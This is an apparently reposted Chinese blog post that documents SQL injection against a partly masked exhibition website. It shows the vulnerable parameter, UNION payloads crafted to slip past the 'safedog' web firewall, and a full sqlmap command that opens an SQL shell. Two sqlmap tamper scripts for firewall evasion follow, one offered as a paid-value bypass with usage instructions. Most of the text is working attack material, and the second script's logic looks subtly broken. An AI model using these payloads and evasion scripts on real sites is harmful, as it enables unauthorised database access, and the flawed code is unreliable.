过狗脚本

利用/*|%20--%20|*/代替空格

select 1,2,3/*%00*//*!50001from*/user


简要描述:

习惯了,随手一个',就有这个漏洞。。。
自定义sqlmap脚本,可sql-shell

详细说明:

中国国际广播电视信息网络展览会 主站:

code 区域
http://**.**.**.**bn.tv/



介绍:http://**.**.**.**bn.tv/channels/4.html

漏洞url:

code 区域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p
参数:CustomerName可注入



遇到狗:

code 区域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27) and 1=user--



sql-1.png



绕过:

字段数:

code 区域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/order /*/\*/by/*/\*/71--



然后union

code 区域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71--



sql-2.png



提示类型不匹配。。。

然后全部替换为NULL,报错

code 区域
输入字符串的格式不正确



code 区域
http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--



sql-3.png



字段太多,需要去对应探测,但是有可能是多个NULL,所以直接用SQLMap去跑,需要自定sqlmap脚本

然后就有如下语句:

code 区域
sqlmap.py --batch -u "http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p" -p CustomerName --prefix "%27)/*/\*/" --suffix "--" --tamper "tamper/space2myscript.py" --current-user --dbs --sql-shell



sql-4.png



仅做证明,未深入。。。

========================================================

space2myscript.py脚本:

code 区域
#!/usr/bin/env python
"""
developers (goubuli)

"""
import random
import string

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):

retVal = ""

if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "/*/\*/"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]

return retVal


----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

i春秋最新过狗
   
   
价值1500过狗脚本。新官上任。送给你们.。这是sqlmap的tamper脚本
#!/usr/bin/env python

"""
write by 陆压 
2016.5.24
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('/*|%20--%20|*/')

    >>> tamper('SELECT id FROM users')
    'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
        
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload.isspace():
                    firstspace = True
                    retVal += "/*|%20--%20|*/"
                    continue

            elif payload == '\'':
                quote = not quote

            elif payload == '"':
                doublequote = not doublequote

            elif payload == " " and not doublequote and not quote:
                retVal += "/*|%20--%20|*/"
                continue

            retVal += payload

    return retVal








使用教程: sqlmap.py -u "url" --current-db(想看用户输 user 不多解释) --dbms=mysql(因为是mysql数据库,如果是access的 就输入 access。) --tamper “脚本名称(比如1.py)”
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值